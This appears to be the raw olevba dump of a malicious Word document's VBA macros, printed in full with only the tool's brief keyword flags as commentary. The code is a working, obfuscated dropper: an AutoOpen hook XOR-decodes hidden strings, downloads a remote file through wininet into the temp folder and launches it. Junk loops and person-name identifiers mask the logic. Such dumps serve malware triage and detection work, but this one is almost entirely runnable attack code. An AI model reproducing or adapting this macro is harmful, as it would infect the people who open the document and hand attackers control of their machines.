Malicious Word macro

olevba 0.25 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MASIHB- cswift~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: cswift~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: cswift~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub DWIGHT(FELIX As Long)
SHAUN
End Sub

Sub autoopen()
DWIGHT 333
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO OIDL8.bas
in file: cswift~1.doc - OLE stream: u'Macros/VBA/OIDL8'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function JEREMIAH(ByRef JULIUS As String, ByRef DONNIE As Long) As Integer
JEREMIAH = Asc(MARION(33, JULIUS, _
        ((DONNIE Mod ANTONIO(JULIUS)) + 1), 1))
End Function
Public Function SHANNON() As Object
Dim TREVOR As String
TREVOR = ALBERT(JULIO, LANCE)
Set SHANNON = CreateObject(TREVOR)
End Function




Public Function DERRICK(ByRef OLIVER As Object, ByRef HOMER As Object) As Boolean

Dim GERARD As Long
Set OLIVER = HUBERT(SHANNON)

Dim HECTOR

Dim KENNY As String
KENNY = HERMAN(2048, JULIO, DUANE)

For GERARD = 292 To 293
GERARD = GERARD * 1
Next GERARD
HECTOR = OLIVER & KENNY


If SIDNEY(HOMER, HECTOR) Then
HOMER. _
DeleteFile HECTOR
End If
If WILBUR(3, HECTOR) Then
End If
If SIDNEY(HOMER, HECTOR) Then
End If


DERRICK = RICARDO(OLIVER, KENNY, 7.2)

End Function

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+--------------------------+
| Type       | Keyword      | Description              |
+------------+--------------+--------------------------+
| Suspicious | CreateObject | May create an OLE object |
+------------+--------------+--------------------------+
-------------------------------------------------------------------------------
VBA MACRO PIDLE0.bas
in file: cswift~1.doc - OLE stream: u'Macros/VBA/PIDLE0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function HUBERT(ByRef NICHOLAS As Object) As Object
Set HUBERT = NICHOLAS.GetSpecialFolder(2)
End Function
Sub ALFONSO(CALEIGH As Double)

CAMERON ("BRUCE")
End Sub



Public Function RICARDO(ByRef OLIVER As Object, ByRef KENNY As String, RUBEN As Double) As Boolean

Set SHANE = CreateObject _
(ALBERT _
(JULIO, CECIL))
Dim BRETT As Integer
BRETT = SHANE.Open(OLIVER & KENNY)
End Function

Public Function ALBERT(JULIUS As String, ADAM As String) As String

    Dim PERRY As Integer
    Dim SERGIO As Integer


    Dim WAYNE As Double
For WAYNE = 42 To 43
If WAYNE = 32 Then End
Next WAYNE

    Dim DONNIE As Long
    Dim STEVE As String
    For DONNIE = 1 _
    To _
    ( _
    ANTONIO _
    (ADAM) _
    / 2)
        PERRY = CHRIS(ADAM, DONNIE)
        SERGIO = JEREMIAH(JULIUS, DONNIE)
        STEVE = STEVE + PHILIP(PERRY, SERGIO)
    Next DONNIE
   ALBERT = STEVE
End Function

Public Function CAMERON(REX As String)
Dim NEAL As Double
NEAL = 5.5
CARLTON NEAL * 8.8
NEAL = NEAL + 1
End Function
Sub SHAUN()
        Dim MATT As Long

    Dim LYLE As Long
For LYLE = 2 To 4
LYLE = LYLE * 6
Next LYLE

ALFONSO (4.4)

End Sub





- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+--------------------------+
| Type       | Keyword      | Description              |
+------------+--------------+--------------------------+
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | Open         | May open a file          |
+------------+--------------+--------------------------+
-------------------------------------------------------------------------------
VBA MACRO IDL4.bas
in file: cswift~1.doc - OLE stream: u'Macros/VBA/IDL4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Public Function CARLTON(ERNESTO As Double)

Dim LUTHER As Object


    Dim FREDRICK As Long
For FREDRICK = 814 To 815
FREDRICK = FREDRICK + 35
Next FREDRICK


Dim WENDELL  As Object


For FREDRICK = 710 To 711
FREDRICK = FREDRICK + 5
Next FREDRICK


Set WENDELL _
= SHANNON()
ERNESTO = ERNESTO + 7
For FREDRICK = 232 To 233
FREDRICK = FREDRICK + 28
Next FREDRICK
Dim LEWIS As Boolean

LEWIS = DERRICK(LUTHER, WENDELL)
End Function


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
No suspicious keyword or IOC found.
-------------------------------------------------------------------------------
VBA MACRO FILE6.bas
in file: cswift~1.doc - OLE stream: u'Macros/VBA/FILE6'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Option Explicit

Public Const CECIL = "1F292E292B7C003E242E25222A312E3D2F"
Public Const DUANE = "10263924292679277A273424"
Public Const LONNIE = "24353F357D7D6E213B2E2D26223322216F2D3B2F63737F6A70617260313A29"
Public Const LANCE = "1F22392C37262820336C0A282720142B323A312F032321202426"
Public Const JULIO = "BLAKEGRANT"

Private Const ORLANDO = 4000
Private Const KURT As String = "NELSON"
Private Const ALLAN = 1
Private Const CLAYTON = &H4000000



Public Function PHILIP(ByRef PERRY As Integer, ByRef SERGIO As Integer) As String
    PHILIP = Chr(PERRY Xor SERGIO)
End Function

Public Function CHRIS(ByRef ADAM As String, ByRef DONNIE As Long) As Integer
 CHRIS = Val("&H" & (MARION(32, ADAM, JOHNNY(DONNIE), 2)))
End Function
Public Function JOHNNY(ByRef DONNIE As Long) As Long
 JOHNNY = (2 * DONNIE) - 1
End Function

Public Function WILBUR(LORENZO As Long, ByVal OMAR As String) As Boolean
    #If VBA7 _
    And Win64 Then
        Dim LEONARD As LongPtr, STANLEY As LongPtr
    #Else
        Dim LEONARD As Long, STANLEY As Long
    #End If
    Dim FRANK As Long
    Dim MARK As String * ORLANDO, CHARLES As String
    Dim MIKE As Integer, NATHAN As Double
    LEONARD = TERRANCE
    If LEONARD = 0 Then
        Exit Function
    End If
    Dim STEPHEN As Boolean

    If DARYL(STANLEY, LEONARD) Then
    End If
    If STANLEY = 0 Then
        NATHAN = 0
    Else
        WALLACE STANLEY, MARK, ORLANDO, FRANK
        CHARLES = MARK
          Dim RAYMOND As Long
For RAYMOND = 321 To 322
If RAYMOND = 1232 Then End
Next RAYMOND
        Do While FRANK <> 0
            WALLACE STANLEY, MARK, ORLANDO, FRANK
                    CHARLES = CHARLES + Mid(MARK, 1, FRANK)
        Loop
             NATHAN = ANTONIO(CHARLES): _
             MIKE = DANNY("JERRY")
        Open OMAR _
            For Binary Access Write _
        Lock Write _
        As #MIKE
        Put #MIKE, _
                , CHARLES
        Dim DENNIS As Double
            For DENNIS = 42 To 43
    If DENNIS = 437 Then End
Next DENNIS
        Close #MIKE
    End If
    EVERETT STANLEY
    EVERETT LEONARD
    CHARLES = ""
    If NATHAN Then
        WILBUR = True
    End If
End Function


Public Function ANTONIO(SALVADOR As String) As Long
ANTONIO = Len(SALVADOR)
End Function
Public Function DANNY(SALVADOR As String) As Integer
    DANNY = FreeFile
End Function




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+-------------+-----------------------------------------+
| Type       | Keyword     | Description                             |
+------------+-------------+-----------------------------------------+
| Suspicious | Open        | May open a file                         |
| Suspicious | Write       | May write to a file (if combined with   |
|            |             | Open)                                   |
| Suspicious | Put         | May write to a file (if combined with   |
|            |             | Open)                                   |
| Suspicious | Chr         | May attempt to obfuscate specific       |
|            |             | strings                                 |
| Suspicious | Xor         | May attempt to obfuscate specific       |
|            |             | strings                                 |
| Suspicious | Binary      | May read or write a binary file (if     |
|            |             | combined with Open)                     |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
|            |             | be used to obfuscate strings (option    |
|            |             | --decode to see all)                    |
+------------+-------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO IDL3.bas
in file: cswift~1.doc - OLE stream: u'Macros/VBA/IDL3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -




Public Const JAMES = "JOHN"

#If VBA7 And Win64 Then
Public _
Declare _
PtrSafe _
Function _
EVERETT Lib _
"wininet.dll" Alias "InternetCloseHandle" (ByRef RICHARD As LongPtr) As Long
Public _
Declare _
PtrSafe _
Function _
EDUARDO Lib _
"wininet.dll" Alias "InternetOpenA" (ByVal CHARLES As String, ByVal OMARPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As LongPtr
Public _
Declare _
PtrSafe _
Function _
WALLACE Lib _
"wininet.dll" Alias "InternetReadFile" (ByVal PAUL As LongPtr, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
Public _
Declare _
PtrSafe _
Function _
ALFREDO Lib _
"wininet.dll" Alias "InternetOpenUrlA" (ByVal KENNETH As LongPtr, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As LongPtr
#Else
Public Declare Function EVERETT Lib "wininet.dll" _
Alias "InternetCloseHandle" (ByRef RICHARD As Long) As Long
Public Declare Function EDUARDO Lib "wininet.dll" _
Alias "InternetOpenA" (ByVal CHARLES As String, ByVal OMARPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As Long
Public Declare Function WALLACE Lib "wininet.dll" _
Alias "InternetReadFile" (ByVal PAUL As Long, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
Public Declare Function ALFREDO Lib "wininet.dll" _
Alias "InternetOpenUrlA" (ByVal KENNETH As Long, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As Long
#End If

Public Function SIDNEY(ByRef JULIAN As Object, ByVal ISAAC As String) As Boolean
If JULIAN.FileExists(ISAAC) Then
SIDNEY = True
Else
SIDNEY = False
End If
End Function
#If VBA7 _
    And Win64 Then
       Public Function DARYL(ByRef CLIFTON As LongPtr, MORRIS As LongPtr) As Boolean
    #Else
       Public Function DARYL(ByRef CLIFTON As Long, MORRIS As Long) As Boolean
    #End If
Dim WILLARD As String
Dim HOWARD As Long
    WILLARD _
    = HERMAN(21, JULIO, LONNIE)

                CLIFTON _
    = ALFREDO _
    ( _
    MORRIS, _
    WILLARD, vbNullString, _
    0, _
    CLAYTON, 0)
    DARYL = True
End Function


Public Function MARION(TRACY As Long, ByRef SALVADOR As String, ByRef PERRY As Integer, ByRef SERGIO As Integer) As String
    MARION = Mid$(SALVADOR, PERRY, SERGIO)
    TRACY = TRACY + 50
End Function
#If VBA7 _
    And Win64 Then
Public Function TERRANCE() As LongPtr
 #Else
Public Function TERRANCE() As Long

 #End If

 TERRANCE = EDUARDO(KURT, ALLAN, vbNullString, vbNullString, 0)
End Function

Public Function HERMAN(FREDDIE As Long, TERRENCE As String, ENRIQUE As String) As String
FREDDIE = FREDDIE * 2
HERMAN = ALBERT(TERRENCE, ENRIQUE)

End Function






- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Lib            | May run code from a DLL                 |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | wininet.dll    | Executable file name                    |
+------------+----------------+-----------------------------------------+